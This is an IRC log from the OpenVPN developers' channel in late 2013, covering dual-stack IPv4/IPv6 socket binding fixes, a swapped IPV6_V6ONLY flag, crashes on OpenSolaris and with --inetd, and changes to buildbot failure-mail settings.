<@plaisthos> cron2: looks good 13:49 <@plaisthos> I sent an ack to the list 13:50 <@cron2> then... 13:50 <@cron2> ... push! 13:53 <@vpnHelper> RSS Update - gitrepo: Implement dual stack client support for OpenVPN <https://github.com/OpenVPN/openvpn/commit/23d61c56b9fd218c39ad151b01b7e2d6690e6093> 13:55 <@plaisthos> Whee! 13:55 <@plaisthos> cron2: Could you also push the fix for external key+Openssl? 13:55 <@cron2> are you impatient or what? ;-) 13:55 * cron2 intended to do dual-stack server next, but yeah, then let's do one of the easier ones 14:01 <@cron2> ok, done 14:02 <@cron2> 7/9, dual-stack server. I'm not sure I understand the logic on the server side regarding AF_UNSPEC - what will happen if I do "--proto tcp --server --port 1194" and af is AF_UNSPEC? 14:03 <@cron2> I do understand AF_INET (tcp4) and AF_INET6+v6only (tcp6), but AF_UNSPEC confuses me, maybe because I'm not sure what bind() does here (or whether openvpn transforms it to "whatever") 14:04 <@vpnHelper> RSS Update - gitrepo: Move ASSERT so external-key with OpenSSL works again <https://github.com/OpenVPN/openvpn/commit/68793f40e1d04409264d21dd24453d959828a306> 14:05 <@plaisthos> cron2: AF_UNSPEC for server defaults to AF_INET6 14:05 <@plaisthos> iirc 14:05 <@plaisthos> lemme check 14:05 <@cron2> in openvpn? or in bind()? 14:07 <@plaisthos> actually it will do a getaddrinfo and bind to the first returned value 14:08 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 14:09 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:13 <@cron2> so what will getaddrinfo() do then? Return AF_INET/0.0.0.0 or AF_INET6/:: "as local policy recommends"? 14:13 <@cron2> (which would be just fine) 14:14 <@plaisthos> getaddrinfo will actually return a list of addrinfo you should bind to 14:14 <@plaisthos> See the AI_PASSIVE argument in the getaddrinfo manpage 14:15 <@cron2> ah, so it might return one or two addrinfos, depending on ipv6only behaviour, policy, etc. 14:15 <@cron2> "leetle surprises" :) 14:16 <@cron2> nb, I'll remove the "--" before 14:16 <@cron2> If the 14:16 <@cron2> .B \-\-ipv6only 14:16 <@cron2> keyword is present OpenVPN will bind only to IPv6 (as oposed 14:17 <@cron2> oh, yes, and fix + o->ce.bind_local=false; 14:19 <@plaisthos> cron2: yeah in my testing linux does the stupid thing there (again!) 14:19 <@plaisthos> return AF_INET6 and AF_INET 14:19 <@cron2> this is stupid indeed, because after you bind AF_INET6, the bind to AF_INET will fail... 14:19 <@plaisthos> and then goes on and gives you an error when binding to the AF_INET 14:19 <@cron2> exactly this 14:21 <@plaisthos> I have no idea what Windows does if you bind ipv6 sockets 14:22 <@plaisthos> but with the patch you should get IPv4+IPv6 14:22 <@cron2> well, they have and document setsockopt(IPV6_ONLY)... 14:22 * cron2 is not going to build a windows binary just to test server-on-windows (yuck) 14:24 <@plaisthos> yeah glibc implements stuff nobody else does 14:24 <@plaisthos> AI_IDN 14:25 <@plaisthos> so domains with umlauts just magically work with getaddrinfo 14:25 * cron2 is scared 14:25 <@plaisthos> and probably break in various other parts 14:25 <@plaisthos> If this flag is specified, then the node name given in node is 14:25 <@plaisthos> converted to IDN format if necessary. The source encoding is 14:25 <@plaisthos> that of the current locale. 14:26 * plaisthos just found out about /etc/gai.conf 14:27 <@plaisthos> which seems to be another glibc'ism 14:28 <@cron2> I knew about gai.conf and did some experimenting with it to change policies, but couldn't figure out how it works, and didn't want to read the source to find "documentation" 14:30 <@plaisthos> cron2: understandable 14:30 <@vpnHelper> RSS Update - gitrepo: Implement listing on IPv4/IPv6 dual socket on all platform <https://github.com/OpenVPN/openvpn/commit/8832c6c4cf7d1425684dd8e56984e407fe3e2aac> 14:30 <@cron2> woo! 14:32 <@cron2> (that *should* have been "listening"... gah... too late) 14:35 <@plaisthos> When I have time in the next few days I will write a "what has changed" for users 14:35 <@cron2> ok, now I'll let openvpn rest for the weekend, and focus on paperwork for my tax advisor... much less fun, but getting more urgent every day... 14:35 <@cron2> plaisthos: cool 14:36 <@plaisthos> and I need to sent clang fix patch to the mailing list 14:36 <@plaisthos> these clang warnings are annoying 14:37 <@cron2> yeah... my test builds have been with -Wall, and I even tried -Wall -Werror, but gave up on that :) 14:37 <@plaisthos> cron2: yeah 14:37 <@plaisthos> but gcc on mac os x 10.9 is now clang 14:37 <@plaisthos> not llvm-gcc but really clang 14:38 <@cron2> when all outstanding stuff is merged, I want to revisit coverity - their tool is quite good, except that last time it did not grok ASSERT() and had wrong assumptions after that (so too many false positives) 14:38 <@cron2> but it actually pointed out a few places that looked suspicious 14:39 <@cron2> anyway, *now* it's "sit with wife on sofa and watch tagesschau" :-) - g'night 14:39 <@plaisthos> cron2: have fun 14:50 <@plaisthos> cron2: 14:50 <@plaisthos> Nov 29 21:50:25 hermes ovpn-tcp[25211]: Could not determine IPv4/IPv6 protocol 14:50 <@plaisthos> I might have missed something :( 14:55 <@plaisthos> I will check where I screwed up 14:56 <@plaisthos> and did not use the first socke on bind like I thought ... 15:01 <@plaisthos> nevermind I checked out -master from the wrong remote 15:11 <@cron2> lol 15:14 <@cron2> ok, opensolaris is kaput... 15:14 <@cron2> Fri Nov 29 22:03:59 2013 Assertion failed at socket.c:685 15:15 <@cron2> this is "ai_proto is neither IPPROTO_UDP nor IPPROTO_TCP". Interesting 15:27 <@cron2> Fri Nov 29 22:25:52 2013 ai_proto=0 15:36 <@cron2> oh 15:41 * cron2 is not going to debug that now, it's being called from link_socket_init_phase2() with ai_family=2 and ai_proto=0, but I'm calling it with "--proto tcp", so it really should know the protocol... 16:46 <@plaisthos> cron2: I will take a look tommorow 17:08 <@plaisthos> bonus weird question on SO: http://stackoverflow.com/questions/20283166/leave-out-views-android-xml-runtime 17:08 <@vpnHelper> Title: Leave out views Android XML Runtime - Stack Overflow (at stackoverflow.com) --- Day changed Sat Nov 30 2013 04:32 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 04:35 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 04:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:29 <@plaisthos> ./socket.h:908:1: error: version control conflict marker in file 05:30 <@plaisthos> wow a good error message instead of weird parsing errors on <<<<<<HEAD 05:32 <@cron2> cool :-) 05:32 <@cron2> I take it you tried to rebase on git master? 05:49 <@plaisthos> cron2: yes 05:50 <@plaisthos> Now only 6 small commit difference to master! 05:51 <@cron2> 'twas time :-) - what sort of commits are left (besides 8/9 and 9/9)? 06:02 <@plaisthos> google breakpad support, the Android 4.4 fix, machine-parsable-log-output 06:41 <@cron2> what is "breakpad"? 06:55 <@plaisthos> a small library that creates core dumps when a process crashes 06:55 <@plaisthos> I use it to get crash dump of OpenVPN on Android 06:56 <@plaisthos> from users 06:56 <@plaisthos> to get a stacktrace and not onlye a log with OpenVPN crashed (SIGSEV) 08:20 <@plaisthos> cron2: I tried to find some OpenSolaris variant to download and use but I am confused about the zillions of forks 10:48 <@cron2> plaisthos: re breakpad - I see, sounds useful :-). Re OpenSolaris: don't ask me what is "the real thing". What I use is "real OpenSolaris" from opensolaris.org, but that is old, and got forked a zillion times... and opensolaris.org does not exist anymore 10:52 <@cron2> Wikipedia points to "Illumos" and "OpenIndiana" 11:24 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn-devel 12:08 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 264 seconds] 12:56 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 12:57 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 12:57 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 12:58 -!- dazo_afk is now known as dazo 14:02 <@cron2> hah, cool, my yubikeys have arrived 14:05 <@cron2> plaisthos: the new server side code is funny 14:05 <@cron2> all my servers are now binding v6only on Linux, without me having configured anything new... 14:05 <@cron2> udp6 0 0 :::51194 :::* 14:05 <@cron2> udp6 0 0 :::51195 :::* 14:05 <@cron2> udp6 0 0 :::51196 :::* 14:06 <@cron2> oh 14:06 * cron2 deletes the last 4 lines :-) - "because it didn't work otherwise" all these have "proto udp6" in their config, which *used* to be dual-stack, and now is single-stack... 14:10 <@cron2> uh 14:11 <@cron2> no, something is fishy. "proto udp"+"port 51194" gives me 0.0.0.0:51194, which is very much ipv4-only 14:11 * cron2 is confused 14:13 <@cron2> Nov 30 21:18:49 gentoo tun-udp-p2mp-topology-subnet[1539]: UDPv6 link local (bound): [AF_INET6][undef]:51195 14:13 <@cron2> that is with udp6 14:52 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn-devel 15:18 <@cron2> Sat Nov 30 22:18:17 2013 us=478272 proto = udp 15:18 <@cron2> Sat Nov 30 22:18:17 2013 us=503173 Setting IPV6_V6ONLY=1... 15:19 <@cron2> what? 15:19 <@cron2> plaisthos: this puzzle is for you to sort out... there is no "bind ipv6only" in the config, server is conf'ed with "proto udp", but it still sets the socket to "v6only"... 15:21 <@cron2> huh 15:21 <@cron2> Sat Nov 30 22:20:49 2013 us=103837 Setting IPV6_V6ONLY=1... (ipv6only=0) 15:23 <@cron2> plaisthos: the puzzle is actually not that hard to figure out... next time in Munich, you get beer with alcohol... this alcohol-free stuff is not good for you 15:23 <@cron2> int v6only = ipv6only ? 0: 1; /* setsockopt must have an "int" */ 15:24 <@cron2> the comment is mine, the *code* is yours, and it has 0/1 swapped 15:24 <@cron2> udp46 0 0 *.51194 *.* 15:28 <@cron2> besides this, Linux' netstat is stupid, and won't show a difference between a v6only=0 and a v6only=1 udp6 :::51194 socket... 17:05 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 260 seconds] 21:53 <@pekster> Blah, I officially dislike github's "releases" functionality 21:54 <@pekster> I got an offical Easy-RSA v3.0.0-rc1 release tagged, and I'll get some .tar.gz/.zip files ready, but apparently git tags correspond to a "release" there, which isn't usful for Windows users as the .zip needs external binaries. Since github's policy changed on hosting binary downloads, we may not be able to use github as a distribution method 21:55 <@pekster> Alternatives include using openvpn.net, something on the community-maintained site (I'm not sure what these are at present), or something independent like BitBucket/SourceForge or such 21:58 <@pekster> Apparently you can "Attach binaries for this release by dropping them here" when using github's Web UI to tag a release, but this prevents usable tags from the command-line, and feels like the Wrong Way to do this 22:01 <@pekster> https://github.com/blog/1547-release-your-software seems wrong; I can't seem to find the right way to "use an existing tag" since we now have a v3.0.0-rc1 tag, but I can't add it as a release because github "already did it" when I pushed the tag. Ugh. 22:01 <@vpnHelper> Title: Release Your Software · GitHub (at github.com) 22:41 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 22:43 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Dec 01 2013 04:10 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 04:13 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 04:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:23 <@pekster> Okay, looks like github lets you overwrite the "auto-release" stuff with a named release, but you have to manually type in the tag name; the UI won't let you select it like the branch/tag selection does on the project browser. Easy-RSA v3.0.0-rc1 now has published downloads for *nix and Windows 05:44 <@plaisthos> cron2: I really should not the ? stuff 05:44 <@plaisthos> Seems I get wrong more often than not 05:59 <@cron2> plaisthos: well... that's what code review is for... I should have seen it. Or *tested* it :-) (which I did, in a way, but that automated test framework only picks up after I push...) 06:03 <@cron2> plaisthos: I've sent a patch to the list yesterday - that seems to work for me 06:40 <@plaisthos> cron2: I acked the patch 06:40 <@plaisthos> I am also looking in the other problems 06:51 <@cron2> plaisthos: I have seen two other problems that I'll send more debugging when I'm done with my tax paperwork :-) - one is that my p2p udp client has issues with dual-stacking - it tries v6/udp, gives up after ~90 seconds(!), and never tries v4/udp. This is a bit surprising, as I've seen it failover nicely in other cases 06:51 <@cron2> the other one is --identd, which causes a sigsegv crash (on Linux). Need to go and attach a debugger and see where and why 06:53 <@plaisthos> cron2: that is strange... 07:15 <@cron2> plaisthos: had no time to look more closely, is on my todo list 07:15 <@plaisthos> cron2: I am just trying to build openvpn on openindiana 07:19 <@plaisthos> Undefined symbol socketpair :/ 07:21 <@plaisthos> I will look into that later 07:22 <@plaisthos> but my test getaddrinfo so far: Linux and Mac OS Xr return first 0.0.0.0 and then :: as sockets when being called with AI_PASSIVE 07:22 <@plaisthos> freebsd and solaris return :: first 07:27 <@cron2> ah, that is why freebsd works as soon as the v6only logic is inverted, while linux still needs "udp6" for dual-stack sockets 07:28 <@cron2> (re "socketpair" - whut? I can't really imagine that, maybe one needs -lfoobar for that) 07:28 * cron2 puts an openindiana buildslave on his TODO list 07:49 <@plaisthos> cron2: it is only the plugin that fails 07:50 <@plaisthos> configure with disble-plugins works fine 07:50 <@cron2> ah, so it's likely that configure is not passing -lsocket or such... 07:50 <@plaisthos> alon did not do the right thing ;) 07:51 <@cron2> haha :) 07:55 <@plaisthos> we should get rid of enable-password-save and all the ifdefs 07:55 <@plaisthos> I stumple upon that every time 07:57 <@plaisthos> cron2: how did you get the opensolaris client to crash? 07:57 <@cron2> let me see 07:58 <@cron2> I just tried: --dev tun --proto tcp --remote conn-test-server.openvpn.org --port 51194 07:58 <@cron2> and it ASSERT()ed with ai_proto=0 08:05 <@plaisthos> hm 08:05 <@plaisthos> can't reproduce that here 08:05 <@plaisthos> Sun Dec 1 15:00:07 2013 Attempting to establish TCP connection with [AF_INET]199.102.77.82:51194 [nonblock] 08:05 <@plaisthos> Sun Dec 1 15:00:08 2013 TCP connection established with [AF_INET]199.102.77.82:51194 08:05 <@plaisthos> oh wait a sec 08:09 <@plaisthos> hm no 08:14 <@cron2> need to leave now (children->grandparents), bbl ~8pm 14:16 <@cron2> is mattock around...? 14:17 * cron2 wonders why there has not been a mail for the buildslave fail on opensolaris... 14:17 <@vpnHelper> RSS Update - gitrepo: Fix IPv6_V6ONLY logic. <https://github.com/OpenVPN/openvpn/commit/451de0a8d61a8a2c4a049837374a728090b4e4d6> 15:46 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 15:47 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:34 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has quit [Ping timeout: 248 seconds] 20:37 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has joined #openvpn-devel 23:22 <@vpnHelper> RSS Update - tickets: #351: OpenVPN for iOS Not working when run on iPhone 5S, while same setup works on iPhone 5 <https://community.openvpn.net/openvpn/ticket/351> 23:25 <@pekster> Yay, more Connect bugs on "community.openvpn.net" 23:26 <@pekster> At least my new component category got used. Small steps ;) --- Day changed Mon Dec 02 2013 02:12 <@cron2> yeah :) 02:32 <@cron2> syzzer, pekster: could you try to agree on one of the chroot fixes, and ACK it? Then I can get get that out of the way :-) 02:40 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:40 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:45 <@cron2> hi mattock 02:45 <@cron2> good that you show up, I have a question for you :-) - the opensolaris builds fail (only the one with t_client.rc), but I'm not receiving mails for that. Could you find out whether the buildmaster is actually sending these, and where they are going? 02:46 <@cron2> (For other build failures, like "on all the BSDs", I was swamped with mail... so in general it should work) 02:48 <@cron2> d12fk: how's work going on your interactive service patch set? Since the dual-stack stuff is now in, we could tackle this next... 03:06 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn-devel 03:19 <@d12fk> cron2: was sick the whole last week 03:19 <@d12fk> will pick up work today 03:20 <@cron2> d12fk: oh. Take your time. (It was November, I noticed... both kids have a running nose, and I am coughing since 2 weeks now...) 03:29 <@cron2> yay, gdb... 03:29 <@cron2> Program received signal SIGSEGV, Segmentation fault. 03:29 <@cron2> socket_listen_accept (sd=3, act=0x7fffa9b62698, remote_dynamic=0x0, do_listen=false, nowait=true, signal_received=0x697fc0 <siginfo_static>, local=<optimized out>) at socket.c:810 03:30 <@cron2> what do you mean by "optimized out"?! 03:37 <@plaisthos> ~.~. 03:38 <@plaisthos> disregard this 03:38 <@cron2> but anyway, I know where it itches and am just testing a fix :) 03:38 <@cron2> plaisthos: ? 03:38 <@plaisthos> ignore the ~.~. stuff :) 03:38 <@cron2> ah, I thought this was a new smiley for "plaisthos furrows his eyebrows" or so 03:39 <@plaisthos> nah 03:39 <@plaisthos> that is plaisthos is trying to kill the hanging ssh session 03:43 <@plaisthos> cron2: I will look into that inetd stuff later today 03:43 <@plaisthos> can you sent me a working inetd configuration? 03:43 <@plaisthos> iirc inet was rather tricky to get working 03:43 <@cron2> plaisthos: sure. It was strongly refusing to cooperate :-) 03:48 <@cron2> mail sent, have fun 03:49 <@plaisthos> Yeah. I need to setup a proper test suite for testing various setup myself as well 03:49 <@cron2> pro tip: for debugging I added a "sleep(10)" line right after "inetd" in options.c, and used that time window to attach gdb to the newly started openvpn --inetd process 03:49 <@cron2> (pid being reported by a tail -f on the xinetd log) 03:53 <@plaisthos> I want to look into socket.c cleanup a bit more 03:53 <@plaisthos> And create the socket always in the 2nd phase 03:54 <@cron2> yeah, the "create it now or later" bit is a bit confusing still 03:54 <@plaisthos> but I have to check if there a reason for the socket to be created earlier 04:20 <@cron2> mattock1: *poke* 04:21 <@mattock1> cron2: what's up? 04:27 <@cron2> ah :-) - I asked you 40 lines further up about mails from the buildmaster :-) 04:28 <@cron2> solaris builds currently fail t_client, but I haven't seen any mail for that - while mails for other buildslaves work perfectly if we break those 04:28 <@cron2> any idea how to figure out why this is so? 04:28 <@mattock1> does the email sending for solaris builds fail consistently? 04:29 <@mattock1> it's possible that the buildbot.tac file in the buildslave does not have a valid email address 04:31 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 245 seconds] 04:31 <@cron2> mattock1: can't say for sure whether I've seen a mail in recent months, but that .tac is an interesting argument... seems it went missing 04:32 <@mattock1> at least my buildslaves have an email address in that file 04:32 <@cron2> mine haven't 04:32 <@cron2> checked fbsd74 04:32 <@mattock1> ok 04:33 <@mattock1> then I have no clue why a single buildslave should fail to trigger an email notification, while the others would not 04:33 <@mattock1> because the email address where the mails are sent is defined globally 04:33 <@mattock1> have you received any failure emails recently? as in "last month" or so 04:33 <@mattock1> ? 04:33 <@cron2> mattock1: yes, thousands 04:33 <@mattock1> ok 04:34 <@mattock1> good thing those are archived for the posterity :D 04:34 <@cron2> when we broke socket.c for good - I think I've seen mails from all BSDs, can't remember about solaris, though 04:37 * cron2 rebuilds that buildslave... 04:47 <@cron2> ok, let's try a forced rebuild on that build and see what happens 04:48 <@mattock1> ok, sounds good 04:52 <@cron2> so, it still fails (build #22). Can you see on the master whether mail was sent? 04:59 <@mattock1> I'll check it after lunch 05:57 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 05:59 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:21 <@cron2> mattock1: hope you enjoyed your lunch :-) - any findings yet? 07:21 <@mattock1> enjoying is subjective 07:22 <@mattock1> in the middle of something, but I'll have a look in 30 mins or less 07:23 <@cron2> thanks 07:43 <@mattock1> cron2: checking it now 07:44 <@mattock1> cron2: so only the t_client build fails? 07:44 <@mattock1> looks like it 07:45 <@cron2> mattock1: yes, it builds ok, but something in the socket stuff is confused, so it doesn't actually *work* 07:46 <@mattock1> I'm rebuilding and monitoring the logs 07:47 <@cron2> 2013-12-02 14:47:36+0100 [Broker,client] argv: ['make', 'check'] 07:50 <@mattock1> there is an exception about missing buildHorizon attribute at the end, but that seems the same for all builders 07:53 <@mattock1> postfix logs show that buildbot does send mail through it 07:53 <@mattock1> but last mails were sent on 27th Nov 07:56 <@mattock1> forcing a build does not seem to affect sending of emails: "Build Reason: The web-page 'force build' button was pressed by 'Samuli'" 07:56 <@mattock1> from openvpn-build archives 07:59 <@mattock1> restarted buildmaster to see if it makes a difference 08:02 <@mattock1> ah 08:03 <@mattock1> could be that the "mailNotifier" in buildmaster is set to use the "problem" mode: 08:03 <@mattock1> "Send mail about a build which failed when the previous build has passed." 08:03 <@mattock1> so, a mail was probably sent initially, but on subsequent builds it does not send anything 08:03 <@mattock1> which I think is reasonable 08:03 <@mattock1> so you need one successful build before it bugs you again 08:04 <@mattock1> in Microsoft-speak this is feature, not a bug 08:05 <@cron2> Mmmh. Can we change this to "if it fails, always send mail"? 08:05 <@mattock1> we can 08:05 <@mattock1> it should be safe, as we're not building anything periodically 08:05 <@mattock1> only on commit 08:06 <@cron2> it's not actually helpful if 30 builds were failing, I fix the underlying cause, and while 29 are good, I'm not told that 1 is still failing because the system assumes "I've told him, he should know!" 08:06 <@cron2> true :-) 08:08 <@mattock1> changed 08:09 <@mattock1> forced a build, let's see what happens 08:09 <@cron2> I can see it work :) 08:09 <@mattock1> it's now in "failing" mode: https://buildbot.readthedocs.org/en/v0.8.6/manual/cfg-statustargets.html 08:09 <@vpnHelper> Title: Status Targets Buildbot 0.8.6 documentation (at buildbot.readthedocs.org) 08:11 <@cron2> The Buildbot has detected a failed build on builder builder-cron2-opensolaris-10-i386-stable-master while building OpenVPN. 08:12 <@cron2> \o/ 08:12 <@cron2> thanks 08:14 <@mattock1> np 10:09 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:09 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 10:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 10:25 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn-devel 10:49 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds] 12:56 -!- totaltec [totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn-devel 13:35 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 13:35 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 13:36 -!- mode/#openvpn-devel [+o dazo] by ChanServ 13:41 -!- dazo is now known as dazo_afk 14:29 <@vpnHelper> RSS Update - gitrepo: Fix IPv6_V6ONLY logic. <https://github.com/OpenVPN/openvpn/commit/451de0a8d61a8a2c4a049837374a728090b4e4d6> || Implement listing on IPv4/IPv6 dual socket on all platform <https://github.com/OpenVPN/openvpn/commit/8832c6c4cf7d1425684dd8e56984e407fe3e2aac> || Move ASSERT so external-key with OpenSSL works again <https://github.com/OpenVPN/openvpn/commit/68793f40e1d04409264d21dd24453d959828a306> || Implement dua 15:16 -!- totaltec [totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds] 21:20 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao] --- Day changed Tue Dec 03 2013 01:57 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 01:57 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 01:57 -!- dazo_afk is now known as dazo 02:16 <@cron2> mornin' 02:33 <@mattock2> morning 04:37 -!- adeprojects [~Adium@li644-206.members.linode.com] has joined #openvpn-devel 05:15 -!- adeprojects [~Adium@li644-206.members.linode.com] has quit [Quit: Leaving.] 05:16 -!- adeprojects [~Adium@136.Red-83-56-16.staticIP.rima-tde.net] has joined #openvpn-devel 05:20 -!- adeprojects [~Adium@136.Red-83-56-16.staticIP.rima-tde.net] has quit [Ping timeout: 245 seconds] 07:28 <@plaisthos> cron2: I will finish the preresolve (+emulate remote-ip-hint, which looks really silly in the source code) patch and then tackle the other problems 07:30 <@cron2> plaisthos: ok. Do you have a rough timeline for that? (Planning when to set aside time to continue working on this stuff) 07:51 <@plaisthos> I hope to be able to do it this week 07:51 <@plaisthos> I probably need to setup a test environement myself 07:52 <@plaisthos> like having the different inetd/tcp/udp server/client tls-server/p2p setups running so I don't accidently break something 07:57 <@cron2> seems you want a replica of my test bed :) 07:59 <@d12fk> anyone else seen tons of "Waiting for TUN/TAP interface to come up..." on win 8.1 08:02 <@cron2> plaisthos: tgz sent by /query. This goes together with a t_client.rc on a different machine which can be run manually, or automated from the t_server.sh shell script (which does "git merge, make, ssh $elsewhere run_t_client.sh") 08:05 <@plaisthos> cron2: thanks 13:50 -!- dazo is now known as dazo_afk 14:58 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 15:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:18 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Log closed Tue Dec 03 23:16:05 2013 --- Log opened Wed Dec 04 19:55:19 2013 19:55 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 19:55 -!- Irssi: #openvpn-devel: Total of 19 nicks [8 ops, 0 halfops, 1 voices, 10 normal] 19:55 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 19:55 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 19:55 -!- You're now known as ecrist --- Day changed Thu Dec 05 2013 02:19 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds] 02:31 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 02:31 -!- mode/#openvpn-devel [+o pekster] by ChanServ 02:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:51 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:57 <@mattock1> cron2: what's up? 03:00 <@cron2> mattock1: if you're fine with d12fk's --tmp-dir patch, please ACK 03:43 <@mattock1> ah 04:09 <@mattock1> I will test that patch in the evening 04:10 <@mattock1> although I did test some version of that patch earlier, and I think it worked fine 04:12 <@mattock1> d12fk: can you recall what was the result of my testing of your UCS-2 -> UTF-8 patch? My brain seems blank :) 04:12 <@d12fk> seems you need a non english windows to actually be able to test it 04:13 <@d12fk> hence we decided to offload testing to the reporter 04:15 <@mattock1> ah yes 04:15 <@mattock1> then I can't really ACK as in "I tested it" 04:15 <@mattock1> but if the guy on ml claims it fixes the issue, I guess that is good enough 04:17 <@cron2> mattock1: I think you tested it, with a finnish user name 04:18 <@cron2> code-wise it looks reasonable, as in "it is similar to the other patch that fixed our last non-ASCII issue" :) 04:18 <@mattock1> actually, now that I think about it, one needed a WIndows 8 box to test it 04:18 <@d12fk> ah right that was it 04:18 <@mattock1> because Windows 7 adds these truncated paths which are ascii 04:18 <@cron2> ah, that, ugh 04:18 <@mattock1> and hence I did not have any issues with my "ääliö" user 04:31 <@plaisthos> :) 04:31 <@plaisthos> that username has a right amount of vocals for a Finish name 04:43 <@cron2> mattock1, d12fk: could you spend some brain cycles on the mail from Ralf Hildebrand @openvpn-users? This smells like a windows installer / registry key thing, and I thought you got this all fixed 05:17 <@mattock1> cron2: I'm currently marinating in a tap-windows installer issue: https://forums.openvpn.net/topic10122.html 05:17 <@vpnHelper> Title: OpenVPN Support Forum TAP install failing on Windows 7 : Installation Help (at forums.openvpn.net) 05:17 <@mattock1> so having a look at Ralf's problem won't probably make my life any more miserable ;) 05:18 <@cron2> mattock1: sounds painful. A short reply to Ralf would still be nice - he's the network admin at a large university campus in .DE, serving many thousand OpenVPN users (and keeping *their* troubles away from *us*) :-) 05:18 <@mattock1> ok, I'll see what I can do later today 05:18 <@cron2> thanks 06:10 <@d12fk> cron2: HKEY_LOCAL_MACHINE\SOFTWARE\OpenVPN-GUI is the place the exe path is stored, no idea if it's removed during uninstall as well. mattock1? 06:25 <@plaisthos> and there there is the "guys, please pay attention to this message." mail 06:46 <@plaisthos> (who forced me to change my patches script for the wiki patches site) 07:42 <@mattock1> d12fk: I can't recall exactly 08:21 <@cron2> oh, interesting. IOS VPN client really hates servers with TLS negotiation enabled, but doesn't stop, but failovers to next remote - and if that happens to be an older server, it will connect in the end... 08:21 <@cron2> (but I want iOS OpenVPN 1.0.2 out *now*...) 08:31 <@plaisthos> cron2: :/ 08:31 <@cron2> plaisthos: well, that's the "old PolarSSL chokes when hitting a TLS-negotiation-enabled server" issue 08:32 <@cron2> I think James submitted the new code last week to Apple, but that means "4 weeks of testing" or so... 08:32 <@cron2> ... so the new OpenVPN server at $corp I am setting up today will run 8065cd1c65273ef0 :-) 09:57 <@cron2> mattock1: Ralf? 10:54 <@mattock1> cron2: Ralf Hildebrand? 11:05 <@cron2> yep 11:43 -!- Nikon_m [~nikonm@184.151.61.213] has joined #openvpn-devel 11:46 -!- Nikon_m [~nikonm@184.151.61.213] has left #openvpn-devel [] 12:54 <@vpnHelper> RSS Update - gitrepo: Support non-ASCII characters in Windows tmp path <https://github.com/OpenVPN/openvpn/commit/925b8a463b78620c1f856a0224396ac7d53e6295> 14:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 17:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:10 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Fri Dec 06 2013 02:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:34 -!- EvilJStoker_ [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 02:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 02:34 -!- 